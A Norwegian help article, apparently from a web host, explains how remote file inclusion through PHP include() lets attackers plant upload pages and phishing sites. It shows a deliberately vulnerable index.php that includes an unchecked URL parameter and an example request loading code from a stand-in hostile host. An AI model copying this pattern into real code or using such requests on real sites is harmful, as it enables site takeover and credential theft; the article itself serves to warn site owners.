Sikkerhet og PHP include

Det vanligste sikkerhetsholdet i en hjemmeside bygget med PHP er mangel ved bruk av funksjonen include().

Et vanlig tilnærming kan være at ,en gjennom å eksperimentere med CGI-parameter kan oppdage sikkerhetsproblemer som ofte er relaterte til hvordan den aktuelle hjemmesiden benytter seg av funksjonen include().

Når et slikt problem oppdages kan man ved å sende et spesialkonstruert CGI-parameter til hjemmesiden, lure hjemmesiden til å laste inn PHP-sider som finnes på andre servere.

PHP-siden som lastes fra en annen server kan inneholde hva som helst, for eksempel kan det være en side der man kan laste opp hva man vil til hvilken mappe som helst innen en hjemmeside. Det kan for eksempel være en publiseringsside som du kan lese mer om her.

Personen som utfører inngrepet sender deretter e-post til en mengde e-postadresser (gjør en spam-utsending), setter avsenderen til noe som ser ut til å være offisielt fra hjemmesiden de angriper og inkluderer en link til den falske hjemmesiden. Oftest med en melding om at man trenger å logge inn for å forandre brukeropplysningene eller lignende.

Ettersom siden man kommer til når man klikker på linken ser helt lik ut som sidens egne innloggingsside så blir mange lurt til å logge inn. De vil jo bytte passordet sitt, ettersom det sto i e-postmeldingen de fikk at de må gjøre det.

Den forfalskede innloggingssiden lagrer så innloggingene og mailer dem til en e-postadresse som personen som laster opp phishingsiten leser av. Denne får nå tilgang til flere ordentlige innlogginger hos hjemmesiden og kan bruke disse for å for eksempel tømme bankkontoen.

Et eksempel på PHP-include-problematikken.

Om man har en hjemmeside, http://www.mindomen.no og en side der som heter index.php med følgende innhold:

<?
$side = $_GET['page']
?>
<html>
<body>
<? include "$side.php"; ?>
</body>
</html>

Besøkeren kan nå se på http://www.mindomen.no/index.php?page=http://www.farlig-side.no/exploit.txt.

La oss si at det ligger PHP-kode på http://www.farlig-side.no/exploit.txt.php, for eksempelvis for opplastings side. Når man besøker URL:en ovenfor så kommer denne koden til å vises. Bruker man include på denne måten innebærer det at siden lastes fra www.farlig-side.no men kjøres på www.mindomen.no.

Besøkeren skulle nå kunne laste opp saker til www.mindomen.no via denne opplastings siden. Det trenger selvfølgelig ikke være en opplastings side, det kan også være noe annet. Kanskje en side som erstatter index.php, tar bort/forandre på noe annet på hjemmesiden, eller legger opp en phishingsite.

Var denne artikkelen til hjelp?

Relaterte artikler